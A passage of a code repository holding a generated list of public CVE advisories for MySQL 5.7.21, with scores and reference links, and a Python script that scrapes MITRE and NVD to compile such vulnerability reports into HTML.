Vulnerability in the MySQL Server component of Oracle MySQL 737 | (subcomponent: InnoDB). Supported versions that are affected are 738 | 5.7.21 and prior. Easily exploitable vulnerability allows high 739 | privileged attacker with network access via multiple protocols to 740 | compromise MySQL Server. Successful attacks of this vulnerability can 741 | result in unauthorized ability to cause a hang or frequently 742 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 743 | 4.9 (Availability impacts). CVSS Vector: 744 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 745 | 746 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2777
https://nvd.nist.gov/vuln/detail/CVE-2018-2777

漏洞编号	CVE-2018-2776
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 747 | (subcomponent: Group Replication GCS). Supported versions that are 748 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 749 | high privileged attacker with network access via XCom to compromise 750 | MySQL Server. Successful attacks of this vulnerability can result in 751 | unauthorized ability to cause a hang or frequently repeatable crash 752 | (complete DOS) of MySQL Server. CVSS 3.0 Base Score 4.9 (Availability 753 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 754 | 755 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2776
https://nvd.nist.gov/vuln/detail/CVE-2018-2776

漏洞编号	CVE-2018-2775
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 756 | (subcomponent: Server: Optimizer). Supported versions that are 757 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 758 | low privileged attacker with network access via multiple protocols to 759 | compromise MySQL Server. Successful attacks of this vulnerability can 760 | result in unauthorized ability to cause a hang or frequently 761 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 762 | 6.5 (Availability impacts). CVSS Vector: 763 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 764 | 765 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2775
https://nvd.nist.gov/vuln/detail/CVE-2018-2775

漏洞编号	CVE-2018-2773
威胁评分	4.1
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 766 | (subcomponent: Client programs). Supported versions that are affected 767 | are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Difficult 768 | to exploit vulnerability allows high privileged attacker with logon to 769 | the infrastructure where MySQL Server executes to compromise MySQL 770 | Server. Successful attacks of this vulnerability can result in 771 | unauthorized ability to cause a hang or frequently repeatable crash 772 | (complete DOS) of MySQL Server. CVSS 3.0 Base Score 4.1 (Availability 773 | impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H). 774 | 775 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2773
https://nvd.nist.gov/vuln/detail/CVE-2018-2773

漏洞编号	CVE-2018-2771
威胁评分	4.4
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 776 | (subcomponent: Server: Locking). Supported versions that are affected 777 | are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Difficult 778 | to exploit vulnerability allows high privileged attacker with network 779 | access via multiple protocols to compromise MySQL Server. Successful 780 | attacks of this vulnerability can result in unauthorized ability to 781 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 782 | Server. CVSS 3.0 Base Score 4.4 (Availability impacts). CVSS Vector: 783 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H). 784 | 785 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2771
https://nvd.nist.gov/vuln/detail/CVE-2018-2771

漏洞编号	CVE-2018-2769
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 786 | (subcomponent: Server: Pluggable Auth). Supported versions that are 787 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 788 | high privileged attacker with network access via multiple protocols to 789 | compromise MySQL Server. Successful attacks of this vulnerability can 790 | result in unauthorized ability to cause a hang or frequently 791 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 792 | 4.9 (Availability impacts). CVSS Vector: 793 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 794 | 795 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2769
https://nvd.nist.gov/vuln/detail/CVE-2018-2769

漏洞编号	CVE-2018-2766
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 796 | (subcomponent: InnoDB). Supported versions that are affected are 797 | 5.6.39 and prior and 5.7.21 and prior. Easily exploitable 798 | vulnerability allows high privileged attacker with network access via 799 | multiple protocols to compromise MySQL Server. Successful attacks of 800 | this vulnerability can result in unauthorized ability to cause a hang 801 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 802 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 803 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 804 | 805 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2766
https://nvd.nist.gov/vuln/detail/CVE-2018-2766

漏洞编号	CVE-2018-2762
威胁评分	4.4
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 806 | (subcomponent: Server: Connection). Supported versions that are 807 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 808 | high privileged attacker with logon to the infrastructure where MySQL 809 | Server executes to compromise MySQL Server. Successful attacks of this 810 | vulnerability can result in unauthorized ability to cause a hang or 811 | frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 812 | Base Score 4.4 (Availability impacts). CVSS Vector: 813 | (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 814 | 815 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2762
https://nvd.nist.gov/vuln/detail/CVE-2018-2762

漏洞编号	CVE-2018-2761
威胁评分	5.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 816 | (subcomponent: Client programs). Supported versions that are affected 817 | are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Difficult 818 | to exploit vulnerability allows unauthenticated attacker with network 819 | access via multiple protocols to compromise MySQL Server. Successful 820 | attacks of this vulnerability can result in unauthorized ability to 821 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 822 | Server. CVSS 3.0 Base Score 5.9 (Availability impacts). CVSS Vector: 823 | (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H). 824 | 825 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2761
https://nvd.nist.gov/vuln/detail/CVE-2018-2761

漏洞编号	CVE-2018-2759
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 826 | (subcomponent: InnoDB). Supported versions that are affected are 827 | 5.7.21 and prior. Easily exploitable vulnerability allows high 828 | privileged attacker with network access via multiple protocols to 829 | compromise MySQL Server. Successful attacks of this vulnerability can 830 | result in unauthorized ability to cause a hang or frequently 831 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 832 | 4.9 (Availability impacts). CVSS Vector: 833 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 834 | 835 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2759
https://nvd.nist.gov/vuln/detail/CVE-2018-2759

漏洞编号	CVE-2018-2758
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 836 | (subcomponent: Server : Security : Privileges). Supported versions 837 | that are affected are 5.6.39 and prior and 5.7.21 and prior. Easily 838 | exploitable vulnerability allows low privileged attacker with network 839 | access via multiple protocols to compromise MySQL Server. Successful 840 | attacks of this vulnerability can result in unauthorized ability to 841 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 842 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 843 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 844 | 845 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2758
https://nvd.nist.gov/vuln/detail/CVE-2018-2758

漏洞编号	CVE-2018-2755
威胁评分	7.7
风险等级	高
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 846 | (subcomponent: Server: Replication). Supported versions that are 847 | affected are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. 848 | Difficult to exploit vulnerability allows unauthenticated attacker 849 | with logon to the infrastructure where MySQL Server executes to 850 | compromise MySQL Server. Successful attacks require human interaction 851 | from a person other than the attacker and while the vulnerability is 852 | in MySQL Server, attacks may significantly impact additional products. 853 | Successful attacks of this vulnerability can result in takeover of 854 | MySQL Server. CVSS 3.0 Base Score 7.7 (Confidentiality, Integrity and 855 | Availability impacts). CVSS Vector: 856 | (CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H). 857 | 858 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2755
https://nvd.nist.gov/vuln/detail/CVE-2018-2755

-------------------------------------------------------------------------------- /vul-info-collect/mysql 5.7.21/list.css: -------------------------------------------------------------------------------- 1 | body{background: #f5f5f5;margin: 0px; margin-top: -20px;padding: 0px;}#div_title{ background: #2171c2; color: #fff; height: 60px; box-shadow: 0 .25em .75em #CCC; padding-top: 15px; margin-top: 0px; font-family: "Microsoft Yahei" normal; font-size: 12px; z-index: 20; position: fixed; width: 100%;}#div_title_inner{ width: 1004px; margin-left: auto; margin-right: auto;}#div_title h2{ width: 130px; display: inline-block; float: right; margin-top: 3.5%;}#div_title h1{ font-weight: normal; margin-left: auto; margin-right: auto; display: inline-block; font-family: "Microsoft YaHei" !important;}#div_title_occupy{ height: 69px;}#div_main{width: 1004px;font-family: "Microsoft Yahei",helvetica,'Lucida Grande',Tahoma,Verdana,Simsun,Arial,Clean;margin-left: auto;margin-right: auto; margin-top: 15px;}#div_content{ position: fixed; width: 250px; overflow-y:scroll; height:520px; overflow: auto; background-color: #f2f2f2; padding-left: 15px; margin-top: 2px;}#div_content_body h3{ height: 10px;}#div_body{ margin-left: 250px; width: 824px; overflow: auto}#example_div{width: 650px;border: 1px dashed #cecfcf;background : #f5f6f7;font-family: Consolas,Menlo,"Liberation Mono",Courier,monospace!important;padding-left: 2px;padding-top: 5px;padding-bottom: 5px;font-size: 13px;min-height: 50px;}#uri_list_div a { color: #5f940a; text-decoration: none; font-size: 13px; height: 10px}#uri_list_div a:hover{ text-decoration: underline;}#data_style{ width:70px;}table.uri_t td{padding-left: 10px; width: 550px;}table.t { font-size: 13px; margin-top: 5px; margin-bottom: 5px; width: 655px; border: 1px solid #e4e4e4; border-right: 0; border-collapse: collapse;}table.t tr { min-height: 25px; line-height: 20px;}table.t th { background-color: #efefef; text-align: center; border-right: 1px solid #e4e4e4; border-bottom: 1px solid #e4e4e4; color: #000;}table.t td { border-right: 1px solid #e4e4e4; border-bottom: 1px solid #e4e4e4; color: #000; background-color: #fff; text-align: left; padding-left: 5px;}#div_get, #div_post, #div_push{ background-color: #fff; box-shadow: 0 2px 5px 0 rgba(0,0,0,.26); padding: 64px; margin: 2px 20px 20px 20px;} -------------------------------------------------------------------------------- /vul-info-collect/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/starnightcyber/scripts/9432d9f6a170b9d873ed97e970a7c9475303498e/vul-info-collect/sample.png -------------------------------------------------------------------------------- /vul-info-collect/script.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | import requests 5 | import re 6 | from bs4 import BeautifulSoup 7 | import math 8 | 9 | 10 | class CveObject: 11 | cve_no = '' # 漏洞编号 12 | cve_url = '' # 漏洞cve url链接地址 13 | cve_nvd_url = '' # 漏洞nvd url链接地址 14 | cve_description = '' # 漏洞描述 15 | cve_create_time = '' # 创建时间 16 | cve_modify_time = '' # 修改时间 17 | cve_level = '' # 威胁等级 18 | cve_score = '' # 威胁评分 19 | cve_cna = '' # 漏洞分配的机构 20 | 21 | def show(self): 22 | """ 23 | Show basic vul information 24 | :return: None 25 | """ 26 | print('----------------------------------') 27 | print('编号：', self.cve_no) 28 | print('漏洞地址：', self.cve_url) 29 | print('漏洞描述：', self.cve_description[:10]) 30 | print('创建时间:', self.cve_create_time) 31 | print('修改时间:', self.cve_modify_time) 32 | print('CNA:', self.cve_cna) 33 | print('漏洞等级：', self.cve_level) 34 | print('漏洞评分：', self.cve_score) 35 | print('\n\n') 36 | 37 | 38 | # cve search url 39 | search_url = 'https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=' 40 | 41 | headers = { 42 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' 43 | } 44 | 45 | # 漏洞等级对应 46 | level_dict = { 47 | 'CRITICAL': '严重', 48 | 'HIGH': '高', 49 | 'MEDIUM': '中', 50 | 'LOW': '低' 51 | } 52 | 53 | cve_obj_list = [] # cve obj-s fill with detailed information 54 | cve_all = [] # cve no-s fetched from nvd 55 | 56 | # for query information, need to provide : producer、software、banner 57 | producer = 'oracle' 58 | software = 'mysql' 59 | banner = '5.7.21' 60 | 61 | 62 | def fill_with_cve(cve, cve_obj): 63 | """ 64 | Fetch detailed information by search cve to fill cve_obj that can be fetch from CVE 65 | :param cve: cve no 66 | :param cve_obj: cve object to fill 67 | :return: None 68 | """ 69 | 70 | # construct cve url 71 | cve_url = 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=' 72 | url = '{}{}'.format(cve_url, cve) 73 | # print(url) 74 | 75 | # fill cve obj with cve_no & cve_url 76 | cve_obj.cve_no = cve 77 | cve_obj.cve_url = url 78 | # print(cve_obj.cve_url) 79 | 80 | try: 81 | response = requests.get(url=url, timeout=15, headers=headers) 82 | soup = BeautifulSoup(response.text, features="lxml") 83 | 84 | # to get cve description or detail information 85 | result = soup.select('body > div#Page > div#CenterPane > div#GeneratedTable > table > tr') 86 | description = result[3].td.string 87 | cve_obj.cve_description = description 88 | 89 | # to get cve create time 90 | result = soup.select('body > div#Page > div#CenterPane > div#GeneratedTable > table > tr > td > b') 91 | time = result[1].string 92 | time = '{}-{}-{}'.format(time[:4], time[4:6], time[6:]) 93 | # print('time...', time) 94 | 95 | # to get assgining cna 96 | result = soup.select('body > div#Page > div#CenterPane > div#GeneratedTable > table > tr') 97 | cna = result[8].td.string 98 | 99 | cve_obj.cve_create_time = time 100 | cve_obj.cve_cna = cna 101 | except: 102 | print('something bad happen when searching cve...') 103 | finally: 104 | pass 105 | 106 | 107 | def fill_with_nvd(cve, cve_obj): 108 | """ 109 | Fetch detailed information by search cve to fill cve_obj that can be fetch from NVD 110 | :param cve: cve no 111 | :param cve_obj: cve object to fill 112 | :return: None 113 | """ 114 | nvd_url = 'https://nvd.nist.gov/vuln/detail/' 115 | url = '{}{}'.format(nvd_url, cve) 116 | cve_obj.cve_nvd_url = url 117 | # print(cve_obj.cve_nvd_url) 118 | 119 | try: 120 | response = requests.get(url, headers=headers, timeout=60) 121 | if response.status_code == 200: 122 | 123 | # to get modified time 124 | time = re.findall('"vuln-description-last-modified">(.*)?', response.text)[0] 125 | month, day, year = time.split('/') 126 | time = '{}-{}-{}'.format(year, month, day) 127 | # print(time) 128 | cve_obj.cve_modify_time = time 129 | 130 | # to get vul score 131 | score = re.findall('"vuln-cvssv3-base-score">(.*)? ', response.text) 132 | if score.__len__() == 0: 133 | score = re.findall('"vuln-cvssv2-base-score">(.*)? ', response.text) 134 | # print(score[0]) 135 | cve_obj.cve_score = score[0] 136 | 137 | # to get vul level 138 | severity = re.findall('"vuln-cvssv3-base-score-severity">(.*)?', response.text) 139 | if severity.__len__() == 0: 140 | severity = re.findall('"vuln-cvssv2-base-score-severity">(.*)?', response.text) 141 | # print(severity[0]) 142 | cve_obj.cve_level = level_dict[severity[0]] 143 | except: 144 | print('something bad happen when searching nvd...') 145 | finally: 146 | pass 147 | pass 148 | 149 | 150 | def fetch_all_cves(): 151 | """ 152 | Query NVD to get specific version of software vulnerabilities 153 | :return: None 154 | """ 155 | # contruct query string 156 | if banner: 157 | keyword = '{}%3a{}'.format(software, banner) 158 | else: 159 | keyword = software 160 | url = 'https://nvd.nist.gov/vuln/search/results?form_type=Advanced&' \ 161 | 'cves=on&cpe_version=cpe%3a%2fa%3a{}%3a{}'.format(producer, keyword) 162 | print(url) 163 | 164 | # to get cve number 165 | try: 166 | response = requests.get(url, timeout=60, headers=headers) 167 | if response.status_code == 200: 168 | num = re.findall('"vuln-matching-records-count">(.*)?', response.text)[0] 169 | msg = 'There are {} cves with {} {}...'.format(num, software, banner) 170 | print(msg) 171 | except: 172 | pass 173 | 174 | # fetch all cve no 175 | start_index = index = 0 176 | while start_index < int(num): 177 | url = 'https://nvd.nist.gov/vuln/search/results?form_type=Advanced&' \ 178 | 'cves=on&cpe_version=cpe%3a%2fa%3a{}%3a{}&' \ 179 | 'startIndex={}'.format(producer, keyword, start_index) 180 | msg = 'processing page {}/{}...'.format(index+1, math.ceil(int(num) / 20)) 181 | print(msg) 182 | index += 1 183 | start_index = index * 20 184 | try: 185 | response = requests.get(url, timeout=60, headers=headers) 186 | if response.status_code == 200: 187 | cves = re.findall('"vuln-detail-link-\d+">(.*)?', response.text) 188 | cve_all.extend(cves) 189 | except: 190 | pass 191 | print('\n-------- CVEs ---------\n') 192 | for line in cve_all: 193 | print(line) 194 | print() 195 | 196 | 197 | def fetch_vul_info(): 198 | 199 | # get all cves 200 | fetch_all_cves() 201 | 202 | i = 0 203 | for cve in cve_all: 204 | i += 1 205 | cve_obj = CveObject() 206 | 207 | # if i == 4: 208 | # break 209 | msg = '[{}/{}] Fetching {} ...'.format(i, cve_all.__len__(), cve) 210 | print(msg) 211 | # fill cve object with information from cve and nvd 212 | fill_with_cve(cve, cve_obj) 213 | fill_with_nvd(cve, cve_obj) 214 | cve_obj_list.append(cve_obj) 215 | pass 216 | 217 | 218 | def save_cve_objs(): 219 | """ 220 | Save cve info to a file 221 | :return: None 222 | """ 223 | for obj in cve_obj_list: 224 | cve_info = '{}|{}|{}|{}|{}|{}|{}|{}|{}\n'.format(obj.cve_no, obj.cve_url, obj.cve_nvd_url, 225 | obj.cve_score, obj.cve_level, obj.cve_cna, 226 | obj.cve_create_time, obj.cve_modify_time, obj.cve_description) 227 | with open('cve.txt', 'a+') as fw: 228 | fw.write(cve_info) 229 | 230 | 231 | def write2html(): 232 | """ 233 | Write cve into to create a html file, this function is terriblely implemented, (^_^) 234 | :param keyword: software name 235 | :return: None 236 | """ 237 | print('write data to html') 238 | html = '' 239 | header = '\ 240 | \ 241 | \ 242 | CVEs\ 243 | \ 244 | \ 245 | \ 246 | \ 247 |

\ 248 |

CVEs for {} {}

\ 249 |

\ 250 |

' 251 | 252 | header = header.format(software, banner) 253 | 254 | body = '

\ 255 |

\ 256 |

漏洞列表

\ 257 |

' 258 | 259 | vul_list = '' 260 | for obj in cve_obj_list: 261 | vul = '{} {}
' 262 | vul = vul.format(obj.cve_no, obj.cve_no, obj.cve_level) 263 | vul_list = '{}{}'.format(vul_list, vul) 264 | 265 | vul_left = '

\ 266 |

\ 267 |

\ 268 |

' 269 | 270 | body = '{}{}{}'.format(body, vul_list, vul_left) 271 | 272 | table = '

\ 273 | \ 274 | \ 275 | \ 276 | \ 277 | \ 278 | \ 279 | \ 280 | \ 281 | \ 282 | \ 283 | \ 284 | \ 285 | \ 286 | \ 287 | \ 288 |

等级	严重	高危	中危	低危
个数({})	{}	{}	{}	{}

\ 289 |

' 290 | 291 | a = b = c = d = e = 0 292 | for cve in cve_obj_list: 293 | if cve.cve_level == '严重': 294 | a += 1 295 | elif cve.cve_level == '高': 296 | b += 1 297 | elif cve.cve_level == '中': 298 | c += 1 299 | elif cve.cve_level == '低': 300 | d += 1 301 | else: 302 | e += 1 303 | 304 | table = table.format(cve_obj_list.__len__(), a, b, c, d) 305 | 306 | body = '{}{}'.format(body, table) 307 | 308 | for obj in cve_obj_list: 309 | cve_body = '\ 310 |

\ 311 | \ 312 | \ 313 | \ 314 | \ 315 | \ 316 | \ 317 | \ 318 | \ 319 | \ 320 | \ 321 | \ 322 | \ 323 | \ 324 | \ 325 | \ 326 | \ 327 |

漏洞编号	{}
威胁评分	{}
风险等级	{}
发现时间	{}
修改时间	{}

\ 328 |

Assigning CNA

\ 329 |

\ 330 | {}\ 331 | \ 332 |

\ 333 |

漏洞描述

\ 334 |

\ 335 | {}\ 336 | \ 337 |

\ 338 |

参考链接

\ 339 |

\ 340 | {}
{}\ 341 | \ 342 |

\ 343 |

' 344 | 345 | cve_body = cve_body.format(obj.cve_no, obj.cve_no, obj.cve_score, obj.cve_level, 346 | obj.cve_create_time, obj.cve_modify_time, obj.cve_cna, obj.cve_description, 347 | obj.cve_url, obj.cve_nvd_url) 348 | 349 | body = '{}{}'.format(body, cve_body) 350 | 351 | footer = '

\ 352 |

\ 353 | \ 366 | \ 367 | ' 368 | html = '{}{}{}'.format(header, body, footer) 369 | 370 | # write to cve html file for showing results 371 | with open('cve.html', 'w', encoding='utf-8') as fw: 372 | fw.write(html) 373 | 374 | 375 | if __name__ == '__main__': 376 | # use '+' to connect keyword, eg. mysql+5.7.21 377 | fetch_vul_info() 378 | for obj in cve_obj_list: 379 | obj.show() 380 | write2html() 381 | save_cve_objs() 382 | pass 383 | --------------------------------------------------------------------------------